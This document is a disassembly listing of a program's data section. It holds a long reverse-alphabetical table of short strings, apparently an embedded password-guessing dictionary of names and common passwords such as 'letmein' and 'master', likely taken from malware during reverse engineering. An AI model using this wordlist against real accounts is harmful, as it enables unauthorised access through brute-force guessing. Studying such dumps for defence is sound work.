aPentagon	db 'pentagon',0         ; DATA XREF: .data:0042B6CCo
		align 10h
aPenname	db 'penname',0          ; DATA XREF: .data:0042B6C8o
aPenis		db 'penis',0            ; DATA XREF: .data:0042B6C4o
		align 10h
aPenguin	db 'penguin',0          ; DATA XREF: .data:0042B6C0o
aPenelope	db 'penelope',0         ; DATA XREF: .data:0042B6BCo
		align 4
aPencil		db 'pencil',0           ; DATA XREF: .data:0042B6B8o
		align 4
aPecker		db 'pecker',0           ; DATA XREF: .data:0042B6B4o
		align 4
aPeanuts	db 'peanuts',0          ; DATA XREF: .data:0042B6B0o
aPaula		db 'paula',0            ; DATA XREF: .data:0042B6ACo
		align 4
aPatty		db 'patty',0            ; DATA XREF: .data:0042B6A8o
		align 4
aPatriot	db 'patriot',0          ; DATA XREF: .data:0042B6A4o
aPatricia	db 'patricia',0         ; DATA XREF: .data:0042B6A0o
		align 10h
aPaste		db 'paste',0            ; DATA XREF: .data:0042B69Co
		align 4
aPassphra	db 'passphra',0         ; DATA XREF: .data:0042B698o
		align 4
aPascal		db 'pascal',0           ; DATA XREF: .data:0042B694o
		align 4
aPapers		db 'papers',0           ; DATA XREF: .data:0042B690o
		align 4
aPaper		db 'paper',0            ; DATA XREF: .data:0042B68Co
		align 4
aPapa		db 'papa',0             ; DATA XREF: .data:0042B688o
		align 4
aPamela		db 'pamela',0           ; DATA XREF: .data:0042B684o
		align 4
aPakistan	db 'pakistan',0         ; DATA XREF: .data:0042B680o
		align 4
aPaint		db 'paint',0            ; DATA XREF: .data:0042B67Co
		align 10h
aPainless	db 'painless',0         ; DATA XREF: .data:0042B678o
		align 4
aPacker		db 'packer',0           ; DATA XREF: .data:0042B674o
		align 4
aPackard	db 'packard',0          ; DATA XREF: .data:0042B670o
aPacific	db 'pacific',0          ; DATA XREF: .data:0042B66Co
aOxford		db 'oxford',0           ; DATA XREF: .data:0042B668o
		align 4
aOutside	db 'outside',0          ; DATA XREF: .data:0042B664o
aOutput		db 'output',0           ; DATA XREF: .data:0042B660o
		align 4
aOutlaw		db 'outlaw',0           ; DATA XREF: .data:0042B65Co
		align 4
aOutdoors	db 'outdoors',0         ; DATA XREF: .data:0042B658o
		align 10h
aOsiris		db 'osiris',0           ; DATA XREF: .data:0042B654o
		align 4
aOscar		db 'oscar',0            ; DATA XREF: .data:0042B650o
		align 10h
aOrwell		db 'orwell',0           ; DATA XREF: .data:0042B64Co
		align 4
aOrient		db 'orient',0           ; DATA XREF: .data:0042B648o
		align 10h
aOrca		db 'orca',0             ; DATA XREF: .data:0042B644o
		align 4
aOperator	db 'operator',0         ; DATA XREF: .data:0042B640o
		align 4
aOpensesa	db 'opensesa',0         ; DATA XREF: .data:0042B63Co
		align 10h
aOpenlock	db 'openlock',0         ; DATA XREF: .data:0042B638o
		align 4
aOpening	db 'opening',0          ; DATA XREF: .data:0042B634o
aOmega		db 'omega',0            ; DATA XREF: .data:0042B62Co
		align 4
aOlivia		db 'olivia',0           ; DATA XREF: .data:0042B628o
		align 4
aOlivetti	db 'olivetti',0         ; DATA XREF: .data:0042B624o
		align 10h
aOldage		db 'oldage',0           ; DATA XREF: .data:0042B620o
		align 4
aOkay		db 'okay',0             ; DATA XREF: .data:0042B61Co
		align 10h
aOffice		db 'office',0           ; DATA XREF: .data:0042B618o
		align 4
aOcelot		db 'ocelot',0           ; DATA XREF: .data:0042B614o
		align 10h
aOceanogr	db 'oceanogr',0         ; DATA XREF: .data:0042B610o
		align 4
aObscurit	db 'obscurit',0         ; DATA XREF: .data:0042B60Co
		align 4
aNyquist	db 'nyquist',0          ; DATA XREF: .data:0042B608o
aNuts		db 'nuts',0             ; DATA XREF: .data:0042B604o
		align 4
aNutritio	db 'nutritio',0         ; DATA XREF: .data:0042B600o
		align 4
aNumber		db 'number',0           ; DATA XREF: .data:0042B5FCo
		align 4
aNull_0		db 'null',0             ; DATA XREF: .data:0042B5F8o
		align 4
aNukem		db 'nukem',0            ; DATA XREF: .data:0042B5F4o
		align 4
aNuke		db 'nuke',0             ; DATA XREF: .data:0042B5F0o
		align 4
aNude		db 'nude',0             ; DATA XREF: .data:0042B5ECo
		align 4
aNuclear	db 'nuclear',0          ; DATA XREF: .data:0042B5E8o
aNoxious	db 'noxious',0          ; DATA XREF: .data:0042B5E4o
aNovember	db 'november',0         ; DATA XREF: .data:0042B5E0o
		align 4
aNovel		db 'novel',0            ; DATA XREF: .data:0042B5DCo
		align 10h
aNova		db 'nova',0             ; DATA XREF: .data:0042B5D8o
		align 4
aNoth		db 'noth',0             ; DATA XREF: .data:0042B5D4o
		align 10h
aNotes		db 'notes',0            ; DATA XREF: .data:0042B5D0o
		align 4
aNoreen		db 'noreen',0           ; DATA XREF: .data:0042B5CCo
		align 10h
aNode		db 'node',0             ; DATA XREF: .data:0042B5C8o
		align 4
aNobody		db 'nobody',0           ; DATA XREF: .data:0042B5C4o
		align 10h
aNoble		db 'noble',0            ; DATA XREF: .data:0042B5C0o
		align 4
aNnaacp		db 'nnaacp',0           ; DATA XREF: .data:0042B5BCo
		align 10h
aNita		db 'nita',0             ; DATA XREF: .data:0042B5B8o
		align 4
aNintendo	db 'nintendo',0         ; DATA XREF: .data:0042B5B4o
		align 4
aNightmar	db 'nightmar',0         ; DATA XREF: .data:0042B5B0o
		align 10h
aNight		db 'night',0            ; DATA XREF: .data:0042B5ACo
		align 4
aNicotine	db 'nicotine',0         ; DATA XREF: .data:0042B5A8o
		align 4
aNicole		db 'nicole',0           ; DATA XREF: .data:0042B5A4o
		align 4
aNice		db 'nice',0             ; DATA XREF: .data:0042B5A0o
		align 4
aNext		db 'next',0             ; DATA XREF: .data:0042B59Co
		align 4
aNewyork	db 'newyork',0          ; DATA XREF: .data:0042B598o
aNewton		db 'newton',0           ; DATA XREF: .data:0042B594o
		align 4
aNewsgrou	db 'newsgrou',0         ; DATA XREF: .data:0042B590o
		align 4
aNews		db 'news',0             ; DATA XREF: .data:0042B58Co
		align 10h
aNewborn	db 'newborn',0          ; DATA XREF: .data:0042B588o
aNetwork_0	db 'network',0          ; DATA XREF: .data:0042B584o
aNetscape	db 'netscape',0         ; DATA XREF: .data:0042B580o
		align 4
aNess		db 'ness',0             ; DATA XREF: .data:0042B57Co
		align 4
aNeptune	db 'neptune',0          ; DATA XREF: .data:0042B578o
aNepenthe	db 'nepenthe',0         ; DATA XREF: .data:0042B574o
		align 4
aNavy		db 'navy',0             ; DATA XREF: .data:0042B570o
		align 10h
aNasa		db 'nasa',0             ; DATA XREF: .data:0042B56Co
		align 4
aNapoleon	db 'napoleon',0         ; DATA XREF: .data:0042B568o
		align 4
aNancy		db 'nancy',0            ; DATA XREF: .data:0042B564o
		align 4
aName		db 'name',0             ; DATA XREF: .data:0042B560o
		align 4
aNagel		db 'nagel',0            ; DATA XREF: .data:0042B55Co
		align 4
aMutant		db 'mutant',0           ; DATA XREF: .data:0042B558o
		align 4
aMuppets	db 'muppets',0          ; DATA XREF: .data:0042B554o
aMsdos		db 'msdos',0            ; DATA XREF: .data:0042B550o
		align 4
aMpeg		db 'mpeg',0             ; DATA XREF: .data:0042B54Co
		align 4
aMozart		db 'mozart',0           ; DATA XREF: .data:0042B548o
		align 4
aMovies		db 'movies',0           ; DATA XREF: .data:0042B544o
		align 4
aMovie		db 'movie',0            ; DATA XREF: .data:0042B540o
		align 4
aMove		db 'move',0             ; DATA XREF: .data:0042B53Co
		align 4
aMouse		db 'mouse',0            ; DATA XREF: .data:0042B538o
		align 4
aMountain	db 'mountain',0         ; DATA XREF: .data:0042B534o
		align 10h
aMosaic		db 'mosaic',0           ; DATA XREF: .data:0042B530o
		align 4
aMortgage	db 'mortgage',0         ; DATA XREF: .data:0042B52Co
		align 4
aMortalco	db 'mortalco',0         ; DATA XREF: .data:0042B528o
		align 10h
aMortal		db 'mortal',0           ; DATA XREF: .data:0042B524o
		align 4
aMorris		db 'morris',0           ; DATA XREF: .data:0042B520o
		align 10h
aMorley		db 'morley',0           ; DATA XREF: .data:0042B51Co
		align 4
aMore		db 'more',0             ; DATA XREF: .data:0042B518o
		align 10h
aMoose		db 'moose',0            ; DATA XREF: .data:0042B514o
		align 4
aMoor		db 'moor',0             ; DATA XREF: .data:0042B510o
		align 10h
aMoom		db 'moom',0             ; DATA XREF: .data:0042B50Co
		align 4
aMonica		db 'monica',0           ; DATA XREF: .data:0042B508o
		align 10h
aMonday		db 'monday',0           ; DATA XREF: .data:0042B504o
		align 4
aMoguls		db 'moguls',0           ; DATA XREF: .data:0042B500o
		align 10h
aMogul		db 'mogul',0            ; DATA XREF: .data:0042B4FCo
		align 4
aModem		db 'modem',0            ; DATA XREF: .data:0042B4F8o
		align 10h
aMode		db 'mode',0             ; DATA XREF: .data:0042B4F4o
		align 4
aMkii		db 'mkii',0             ; DATA XREF: .data:0042B4F0o
		align 10h
aMission	db 'mission',0          ; DATA XREF: .data:0042B4ECo
aMisfit		db 'misfit',0           ; DATA XREF: .data:0042B4E8o
		align 10h
aMinsky		db 'minsky',0           ; DATA XREF: .data:0042B4E4o
		align 4
aMinimum	db 'minimum',0          ; DATA XREF: .data:0042B4E0o
aMine		db 'mine',0             ; DATA XREF: .data:0042B4DCo
		align 4
aMike		db 'mike',0             ; DATA XREF: .data:0042B4D8o
		align 10h
aMidieval	db 'midieval',0         ; DATA XREF: .data:0042B4D4o
		align 4
aMicrosof	db 'microsof',0         ; DATA XREF: .data:0042B4D0o
		align 4
aMicropro	db 'micropro',0         ; DATA XREF: .data:0042B4CCo
		align 4
aMicrochi	db 'microchi',0         ; DATA XREF: .data:0042B4C8o
		align 10h
aMicro		db 'micro',0            ; DATA XREF: .data:0042B4C4o
		align 4
aMickey		db 'mickey',0           ; DATA XREF: .data:0042B4C0o
		align 10h
aMichelle	db 'michelle',0         ; DATA XREF: .data:0042B4BCo
		align 4
aMichele	db 'michele',0          ; DATA XREF: .data:0042B4B8o
aMichelan	db 'michelan',0         ; DATA XREF: .data:0042B4B4o
		align 10h
aMichel		db 'michel',0           ; DATA XREF: .data:0042B4B0o
		align 4
aMichael	db 'michael',0          ; DATA XREF: .data:0042B4ACo
aMice		db 'mice',0             ; DATA XREF: .data:0042B4A8o
		align 4
aMets		db 'mets',0             ; DATA XREF: .data:0042B4A4o
		align 10h
aMetalica	db 'metalica',0         ; DATA XREF: .data:0042B4A0o
		align 4
aMetalhea	db 'metalhea',0         ; DATA XREF: .data:0042B49Co
		align 4
aMetal		db 'metal',0            ; DATA XREF: .data:0042B498o
		align 10h
aMerlin		db 'merlin',0           ; DATA XREF: .data:0042B494o
		align 4
aMercury	db 'mercury',0          ; DATA XREF: .data:0042B490o
aMenu		db 'menu',0             ; DATA XREF: .data:0042B48Co
		align 4
aMenace		db 'menace',0           ; DATA XREF: .data:0042B488o
		align 10h
aMemory		db 'memory',0           ; DATA XREF: .data:0042B484o
		align 4
aMember		db 'member',0           ; DATA XREF: .data:0042B480o
		align 10h
aMelrose	db 'melrose',0          ; DATA XREF: .data:0042B47Co
aMellon		db 'mellon',0           ; DATA XREF: .data:0042B478o
		align 10h
aMelissa	db 'melissa',0          ; DATA XREF: .data:0042B474o
aMegan		db 'megan',0            ; DATA XREF: .data:0042B470o
		align 10h
aMegadeth	db 'megadeth',0         ; DATA XREF: .data:0042B46Co
		align 4
aMegabyte	db 'megabyte',0         ; DATA XREF: .data:0042B468o
		align 4
aMeagan		db 'meagan',0           ; DATA XREF: .data:0042B464o
		align 10h
aMaurice	db 'maurice',0          ; DATA XREF: .data:0042B460o
aMath		db 'math',0             ; DATA XREF: .data:0042B45Co
		align 10h
aMaster		db 'master',0           ; DATA XREF: .data:0042B458o
		align 4
aMason		db 'mason',0            ; DATA XREF: .data:0042B454o
		align 10h
aMary		db 'mary',0             ; DATA XREF: .data:0042B450o
		align 4
aMarvin		db 'marvin',0           ; DATA XREF: .data:0042B44Co
		align 10h
aMarty		db 'marty',0            ; DATA XREF: .data:0042B448o
		align 4
aMars		db 'mars',0             ; DATA XREF: .data:0042B444o
		align 10h
aMarriage	db 'marriage',0         ; DATA XREF: .data:0042B440o
		align 4
aMarni		db 'marni',0            ; DATA XREF: .data:0042B43Co
		align 4
aMarkus		db 'markus',0           ; DATA XREF: .data:0042B438o
		align 4
aMark		db 'mark',0             ; DATA XREF: .data:0042B434o
		align 4
aMarines	db 'marines',0          ; DATA XREF: .data:0042B430o
aMarijuan	db 'marijuan',0         ; DATA XREF: .data:0042B42Co
		align 4
aMarietta	db 'marietta',0         ; DATA XREF: .data:0042B428o
		align 4
aMariens	db 'mariens',0          ; DATA XREF: .data:0042B424o
aMaria		db 'maria',0            ; DATA XREF: .data:0042B420o
		align 4
aMarcy		db 'marcy',0            ; DATA XREF: .data:0042B41Co
		align 4
aMarci		db 'marci',0            ; DATA XREF: .data:0042B418o
		align 4
aMara		db 'mara',0             ; DATA XREF: .data:0042B414o
		align 4
aManager	db 'manager',0          ; DATA XREF: .data:0042B410o
aMana		db 'mana',0             ; DATA XREF: .data:0042B40Co
		align 4
aMalcom		db 'malcom',0           ; DATA XREF: .data:0042B408o
		align 4
aMalcolm	db 'malcolm',0          ; DATA XREF: .data:0042B404o
aMaint		db 'maint',0            ; DATA XREF: .data:0042B400o
		align 4
aMail		db 'mail',0             ; DATA XREF: .data:0042B3FCo
		align 4
aMagnet		db 'magnet',0           ; DATA XREF: .data:0042B3F8o
		align 4
aMagic		db 'magic',0            ; DATA XREF: .data:0042B3F4o
		align 4
aMaggot		db 'maggot',0           ; DATA XREF: .data:0042B3F0o
		align 4
aMacro		db 'macro',0            ; DATA XREF: .data:0042B3ECo
		align 4
aMack		db 'mack',0             ; DATA XREF: .data:0042B3E8o
		align 4
aMacintos	db 'macintos',0         ; DATA XREF: .data:0042B3E4o
		align 10h
aMachine	db 'machine',0          ; DATA XREF: .data:0042B3E0o
aLynne		db 'lynne',0            ; DATA XREF: .data:0042B3DCo
		align 10h
aLynn		db 'lynn',0             ; DATA XREF: .data:0042B3D8o
		align 4
aLust		db 'lust',0             ; DATA XREF: .data:0042B3D4o
		align 10h
aLuke		db 'luke',0             ; DATA XREF: .data:0042B3D0o
		align 4
aLude		db 'lude',0             ; DATA XREF: .data:0042B3CCo
		align 10h
aLucy		db 'lucy',0             ; DATA XREF: .data:0042B3C8o
		align 4
aLucus		db 'lucus',0            ; DATA XREF: .data:0042B3C4o
		align 10h
aLuck		db 'luck',0             ; DATA XREF: .data:0042B3C0o
		align 4
aLover		db 'lover',0            ; DATA XREF: .data:0042B3BCo
		align 10h
aLovebug	db 'lovebug',0          ; DATA XREF: .data:0042B3B8o
aLouis		db 'louis',0            ; DATA XREF: .data:0042B3B4o
		align 10h
aLoser		db 'loser',0            ; DATA XREF: .data:0042B3B0o
		align 4
aLorraine	db 'lorraine',0         ; DATA XREF: .data:0042B3ACo
		align 4
aLorin		db 'lorin',0            ; DATA XREF: .data:0042B3A8o
		align 4
aLori		db 'lori',0             ; DATA XREF: .data:0042B3A4o
		align 4
aLore		db 'lore',0             ; DATA XREF: .data:0042B3A0o
		align 4
aLoose		db 'loose',0            ; DATA XREF: .data:0042B39Co
		align 4
aLolopc		db 'lolopc',0           ; DATA XREF: .data:0042B398o
		align 4
aLois		db 'lois',0             ; DATA XREF: .data:0042B394o
		align 4
aLogout		db 'logout',0           ; DATA XREF: .data:0042B390o
		align 4
aLoginwor	db 'loginwor',0         ; DATA XREF: .data:0042B38Co
		align 4
aLogic		db 'logic',0            ; DATA XREF: .data:0042B388o
		align 10h
aLockword	db 'lockword',0         ; DATA XREF: .data:0042B384o
		align 4
aLockout	db 'lockout',0          ; DATA XREF: .data:0042B380o
aLock		db 'lock',0             ; DATA XREF: .data:0042B37Co
		align 4
aLoad		db 'load',0             ; DATA XREF: .data:0042B378o
		align 4
aLive		db 'live',0             ; DATA XREF: .data:0042B374o
		align 4
aLiteratu	db 'literatu',0         ; DATA XREF: .data:0042B370o
		align 4
aLisp		db 'lisp',0             ; DATA XREF: .data:0042B36Co
		align 10h
aLisa		db 'lisa',0             ; DATA XREF: .data:0042B368o
		align 4
aLips		db 'lips',0             ; DATA XREF: .data:0042B364o
		align 10h
aLion		db 'lion',0             ; DATA XREF: .data:0042B360o
		align 4
aLink		db 'link',0             ; DATA XREF: .data:0042B35Co
		align 10h
aLinda		db 'linda',0            ; DATA XREF: .data:0042B358o
		align 4
aLimited	db 'limited',0          ; DATA XREF: .data:0042B354o
aLimbaugh	db 'limbaugh',0         ; DATA XREF: .data:0042B350o
		align 4
aLima		db 'lima',0             ; DATA XREF: .data:0042B34Co
		align 4
aLightsab	db 'lightsab',0         ; DATA XREF: .data:0042B348o
		align 10h
aLight		db 'light',0            ; DATA XREF: .data:0042B344o
		align 4
aLife		db 'life',0             ; DATA XREF: .data:0042B340o
		align 10h
aLicker		db 'licker',0           ; DATA XREF: .data:0042B33Co
		align 4
aLick		db 'lick',0             ; DATA XREF: .data:0042B338o
		align 10h
aLibrary	db 'library',0          ; DATA XREF: .data:0042B334o
aLiberal	db 'liberal',0          ; DATA XREF: .data:0042B330o
aLexluthe	db 'lexluthe',0         ; DATA XREF: .data:0042B32Co
		align 4
aLewis		db 'lewis',0            ; DATA XREF: .data:0042B328o
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: .data:0042B324o
aLeslie		db 'leslie',0           ; DATA XREF: .data:0042B320o
		align 4
aLesbian	db 'lesbian',0          ; DATA XREF: .data:0042B31Co
aLeroy		db 'leroy',0            ; DATA XREF: .data:0042B318o
		align 4
aLeland		db 'leland',0           ; DATA XREF: .data:0042B314o
		align 4
aLegal		db 'legal',0            ; DATA XREF: .data:0042B310o
		align 4
aLeftwing	db 'leftwing',0         ; DATA XREF: .data:0042B30Co
		align 10h
aLeft		db 'left',0             ; DATA XREF: .data:0042B308o
		align 4
aLebesgue	db 'lebesgue',0         ; DATA XREF: .data:0042B304o
		align 4
aLeah		db 'leah',0             ; DATA XREF: .data:0042B300o
		align 4
aLazer		db 'lazer',0            ; DATA XREF: .data:0042B2FCo
		align 4
aLazarus	db 'lazarus',0          ; DATA XREF: .data:0042B2F8o
aLava		db 'lava',0             ; DATA XREF: .data:0042B2F4o
		align 4
aLaura		db 'laura',0            ; DATA XREF: .data:0042B2F0o
		align 4
aLaser		db 'laser',0            ; DATA XREF: .data:0042B2ECo
		align 4
aLarry		db 'larry',0            ; DATA XREF: .data:0042B2E8o
		align 4
aLarkin		db 'larkin',0           ; DATA XREF: .data:0042B2E4o
		align 4
aLara		db 'lara',0             ; DATA XREF: .data:0042B2E0o
		align 4
aLaptop		db 'laptop',0           ; DATA XREF: .data:0042B2DCo
		align 4
aLana		db 'lana',0             ; DATA XREF: .data:0042B2D8o
		align 4
aLaminati	db 'laminati',0         ; DATA XREF: .data:0042B2D4o
		align 4
aLambda		db 'lambda',0           ; DATA XREF: .data:0042B2D0o
		align 10h
aLakers		db 'lakers',0           ; DATA XREF: .data:0042B2CCo
		align 4
aLadle		db 'ladle',0            ; DATA XREF: .data:0042B2C8o
		align 10h
aLadies		db 'ladies',0           ; DATA XREF: .data:0042B2C4o
		align 4
aKristy		db 'kristy',0           ; DATA XREF: .data:0042B2C0o
		align 10h
aKristine	db 'kristine',0         ; DATA XREF: .data:0042B2BCo
		align 4
aKristin	db 'kristin',0          ; DATA XREF: .data:0042B2B8o
aKristie	db 'kristie',0          ; DATA XREF: .data:0042B2B4o
aKristi		db 'kristi',0           ; DATA XREF: .data:0042B2B0o
		align 4
aKristen	db 'kristen',0          ; DATA XREF: .data:0042B2ACo
aKrista		db 'krista',0           ; DATA XREF: .data:0042B2A8o
		align 4
aKnown		db 'known',0            ; DATA XREF: .data:0042B2A4o
		align 4
aKnightma	db 'knightma',0         ; DATA XREF: .data:0042B2A0o
		align 4
aKnight		db 'knight',0           ; DATA XREF: .data:0042B29Co
		align 10h
aKnife		db 'knife',0            ; DATA XREF: .data:0042B298o
		align 4
aKlingon	db 'klingon',0          ; DATA XREF: .data:0042B294o
aKitten		db 'kitten',0           ; DATA XREF: .data:0042B290o
		align 4
aKissmyas	db 'kissmyas',0         ; DATA XREF: .data:0042B28Co
		align 4
aKiss		db 'kiss',0             ; DATA XREF: .data:0042B288o
		align 4
aKirkland	db 'kirkland',0         ; DATA XREF: .data:0042B284o
		align 4
aKirk		db 'kirk',0             ; DATA XREF: .data:0042B280o
		align 10h
aKing		db 'king',0             ; DATA XREF: .data:0042B27Co
		align 4
aKimberly	db 'kimberly',0         ; DATA XREF: .data:0042B278o
		align 4
aKilo		db 'kilo',0             ; DATA XREF: .data:0042B274o
		align 4
aKillthem	db 'killthem',0         ; DATA XREF: .data:0042B270o
		align 4
aKill		db 'kill',0             ; DATA XREF: .data:0042B26Co
		align 10h
aKids		db 'kids',0             ; DATA XREF: .data:0042B268o
		align 4
aKeyword	db 'keyword',0          ; DATA XREF: .data:0042B264o
aKeyin		db 'keyin',0            ; DATA XREF: .data:0042B260o
		align 4
aKeybord	db 'keybord',0          ; DATA XREF: .data:0042B25Co
aKewl		db 'kewl',0             ; DATA XREF: .data:0042B258o
		align 4
aKevin		db 'kevin',0            ; DATA XREF: .data:0042B254o
		align 10h
aKerry		db 'kerry',0            ; DATA XREF: .data:0042B250o
		align 4
aKerrie		db 'kerrie',0           ; DATA XREF: .data:0042B24Co
		align 10h
aKerri		db 'kerri',0            ; DATA XREF: .data:0042B248o
		align 4
aKernel		db 'kernel',0           ; DATA XREF: .data:0042B244o
		align 10h
aKermit		db 'kermit',0           ; DATA XREF: .data:0042B240o
		align 4
aKeri		db 'keri',0             ; DATA XREF: .data:0042B23Co
		align 10h
aKelly		db 'kelly',0            ; DATA XREF: .data:0042B238o
		align 4
aKatrina	db 'katrina',0          ; DATA XREF: .data:0042B234o
aKatina		db 'katina',0           ; DATA XREF: .data:0042B230o
		align 4
aKathy		db 'kathy',0            ; DATA XREF: .data:0042B22Co
		align 10h
aKathrine	db 'kathrine',0         ; DATA XREF: .data:0042B228o
		align 4
aKathleen	db 'kathleen',0         ; DATA XREF: .data:0042B224o
		align 4
aKate		db 'kate',0             ; DATA XREF: .data:0042B220o
		align 10h
aKatana		db 'katana',0           ; DATA XREF: .data:0042B21Co
		align 4
aKarina		db 'karina',0           ; DATA XREF: .data:0042B218o
		align 10h
aKarie		db 'karie',0            ; DATA XREF: .data:0042B214o
		align 4
aKaren		db 'karen',0            ; DATA XREF: .data:0042B210o
		align 10h
aKaka		db 'kaka',0             ; DATA XREF: .data:0042B20Co
		align 4
aJupiter	db 'jupiter',0          ; DATA XREF: .data:0042B208o
aJune		db 'june',0             ; DATA XREF: .data:0042B204o
		align 4
aJuliet		db 'juliet',0           ; DATA XREF: .data:0042B200o
		align 10h
aJulie		db 'julie',0            ; DATA XREF: .data:0042B1FCo
		align 4
aJulia		db 'julia',0            ; DATA XREF: .data:0042B1F8o
		align 10h
aJuicy		db 'juicy',0            ; DATA XREF: .data:0042B1F4o
		align 4
aJuggle		db 'juggle',0           ; DATA XREF: .data:0042B1F0o
		align 10h
aJudy		db 'judy',0             ; DATA XREF: .data:0042B1ECo
		align 4
aJudith		db 'judith',0           ; DATA XREF: .data:0042B1E8o
		align 10h
aJoyce		db 'joyce',0            ; DATA XREF: .data:0042B1E4o
		align 4
aJournal	db 'journal',0          ; DATA XREF: .data:0042B1E0o
aJoshua		db 'joshua',0           ; DATA XREF: .data:0042B1DCo
		align 4
aJoseph		db 'joseph',0           ; DATA XREF: .data:0042B1D8o
		align 10h
aJohnny		db 'johnny',0           ; DATA XREF: .data:0042B1D4o
		align 4
aJohndoe	db 'johndoe',0          ; DATA XREF: .data:0042B1D0o
aJohn		db 'john',0             ; DATA XREF: .data:0042B1CCo
		align 4
aJody		db 'jody',0             ; DATA XREF: .data:0042B1C8o
		align 10h
aJoanne		db 'joanne',0           ; DATA XREF: .data:0042B1C4o
		align 4
aJixian		db 'jixian',0           ; DATA XREF: .data:0042B1C0o
		align 10h
aJill		db 'jill',0             ; DATA XREF: .data:0042B1BCo
		align 4
aJewelry	db 'jewelry',0          ; DATA XREF: .data:0042B1B8o
aJester		db 'jester',0           ; DATA XREF: .data:0042B1B4o
		align 4
aJessica	db 'jessica',0          ; DATA XREF: .data:0042B1B0o
aJerusale	db 'jerusale',0         ; DATA XREF: .data:0042B1ACo
		align 4
aJerry		db 'jerry',0            ; DATA XREF: .data:0042B1A8o
		align 4
aJenny		db 'jenny',0            ; DATA XREF: .data:0042B1A4o
		align 4
aJennifer	db 'jennifer',0         ; DATA XREF: .data:0042B1A0o
		align 4
aJenni		db 'jenni',0            ; DATA XREF: .data:0042B19Co
		align 10h
aJeff		db 'jeff',0             ; DATA XREF: .data:0042B198o
		align 4
aJeanne		db 'jeanne',0           ; DATA XREF: .data:0042B194o
		align 10h
aJean		db 'jean',0             ; DATA XREF: .data:0042B190o
		align 4
aJazz		db 'jazz',0             ; DATA XREF: .data:0042B18Co
		align 10h
aJava		db 'java',0             ; DATA XREF: .data:0042B188o
		align 4
aJasmin		db 'jasmin',0           ; DATA XREF: .data:0042B184o
		align 10h
aJapan		db 'japan',0            ; DATA XREF: .data:0042B180o
		align 4
aJanie		db 'janie',0            ; DATA XREF: .data:0042B17Co
		align 10h
aJanice		db 'janice',0           ; DATA XREF: .data:0042B178o
		align 4
aJanet		db 'janet',0            ; DATA XREF: .data:0042B174o
		align 10h
aJane		db 'jane',0             ; DATA XREF: .data:0042B170o
		align 4
aJail		db 'jail',0             ; DATA XREF: .data:0042B16Co
		align 10h
aJackie		db 'jackie',0           ; DATA XREF: .data:0042B168o
		align 4
aIsis		db 'isis',0             ; DATA XREF: .data:0042B164o
		align 10h
aIrishman	db 'irishman',0         ; DATA XREF: .data:0042B160o
		align 4
aIrene		db 'irene',0            ; DATA XREF: .data:0042B15Co
		align 4
aInvent		db 'invent',0           ; DATA XREF: .data:0042B158o
		align 4
aInteger	db 'integer',0          ; DATA XREF: .data:0042B154o
aInside		db 'inside',0           ; DATA XREF: .data:0042B150o
		align 4
aInput		db 'input',0            ; DATA XREF: .data:0042B14Co
		align 4
aInnocuou	db 'innocuou',0         ; DATA XREF: .data:0042B148o
		align 10h
aInna		db 'inna',0             ; DATA XREF: .data:0042B144o
		align 4
aIngrid		db 'ingrid',0           ; DATA XREF: .data:0042B140o
		align 10h
aIngress	db 'ingress',0          ; DATA XREF: .data:0042B13Co
aIngres		db 'ingres',0           ; DATA XREF: .data:0042B138o
		align 10h
aIndians	db 'indians',0          ; DATA XREF: .data:0042B134o
aIndiana	db 'indiana',0          ; DATA XREF: .data:0042B130o
aIndian		db 'indian',0           ; DATA XREF: .data:0042B12Co
		align 4
aIndia		db 'india',0            ; DATA XREF: .data:0042B128o
		align 10h
aInclude	db 'include',0          ; DATA XREF: .data:0042B124o
aImperial	db 'imperial',0         ; DATA XREF: .data:0042B120o
		align 4
aImmortal	db 'immortal',0         ; DATA XREF: .data:0042B11Co
		align 10h
aImbrogli	db 'imbrogli',0         ; DATA XREF: .data:0042B118o
		align 4
aImage		db 'image',0            ; DATA XREF: .data:0042B114o
		align 4
aIllumina	db 'illumina',0         ; DATA XREF: .data:0042B110o
		align 10h
aIcecream	db 'icecream',0         ; DATA XREF: .data:0042B10Co
		align 4
aHypertxt	db 'hypertxt',0         ; DATA XREF: .data:0042B108o
		align 4
aHyper		db 'hyper',0            ; DATA XREF: .data:0042B104o
		align 10h
aHydrogen	db 'hydrogen',0         ; DATA XREF: .data:0042B100o
		align 4
aHutchins	db 'hutchins',0         ; DATA XREF: .data:0042B0FCo
		align 4
aHunter		db 'hunter',0           ; DATA XREF: .data:0042B0F8o
		align 10h
aHunt		db 'hunt',0             ; DATA XREF: .data:0042B0F4o
		align 4
aHttp_0		db 'http',0             ; DATA XREF: .data:0042B0F0o
		align 10h
aHotel		db 'hotel',0            ; DATA XREF: .data:0042B0ECo
		align 4
aHotdog		db 'hotdog',0           ; DATA XREF: .data:0042B0E8o
		align 10h
aHost		db 'host',0             ; DATA XREF: .data:0042B0E4o
		align 4
aHorus		db 'horus',0            ; DATA XREF: .data:0042B0E0o
		align 10h
aHorse		db 'horse',0            ; DATA XREF: .data:0042B0DCo
		align 4
aHorror		db 'horror',0           ; DATA XREF: .data:0042B0D8o
		align 10h
aHorrible	db 'horrible',0         ; DATA XREF: .data:0042B0D4o
		align 4
aHorny		db 'horny',0            ; DATA XREF: .data:0042B0D0o
		align 4
aHooters	db 'hooters',0          ; DATA XREF: .data:0042B0CCo
aHooker		db 'hooker',0           ; DATA XREF: .data:0042B0C8o
		align 4
aHoney		db 'honey',0            ; DATA XREF: .data:0042B0C4o
		align 4
aHomework	db 'homework',0         ; DATA XREF: .data:0042B0C0o
		align 4
aHomer		db 'homer',0            ; DATA XREF: .data:0042B0BCo
		align 10h
aHomepage	db 'homepage',0         ; DATA XREF: .data:0042B0B8o
		align 4
aHollywoo	db 'hollywoo',0         ; DATA XREF: .data:0042B0B4o
		align 4
aHolly		db 'holly',0            ; DATA XREF: .data:0042B0B0o
		align 10h
aHole		db 'hole',0             ; DATA XREF: .data:0042B0ACo
		align 4
aHits		db 'hits',0             ; DATA XREF: .data:0042B0A8o
		align 10h
aHitler		db 'hitler',0           ; DATA XREF: .data:0042B0A4o
		align 4
aHighland	db 'highland',0         ; DATA XREF: .data:0042B0A0o
		align 4
aHigh		db 'high',0             ; DATA XREF: .data:0042B09Co
		align 4
aHidden		db 'hidden',0           ; DATA XREF: .data:0042B098o
		align 4
aHibernia	db 'hibernia',0         ; DATA XREF: .data:0042B094o
		align 10h
aHiawatha	db 'hiawatha',0         ; DATA XREF: .data:0042B090o
		align 4
aHexadeci	db 'hexadeci',0         ; DATA XREF: .data:0042B08Co
		align 4
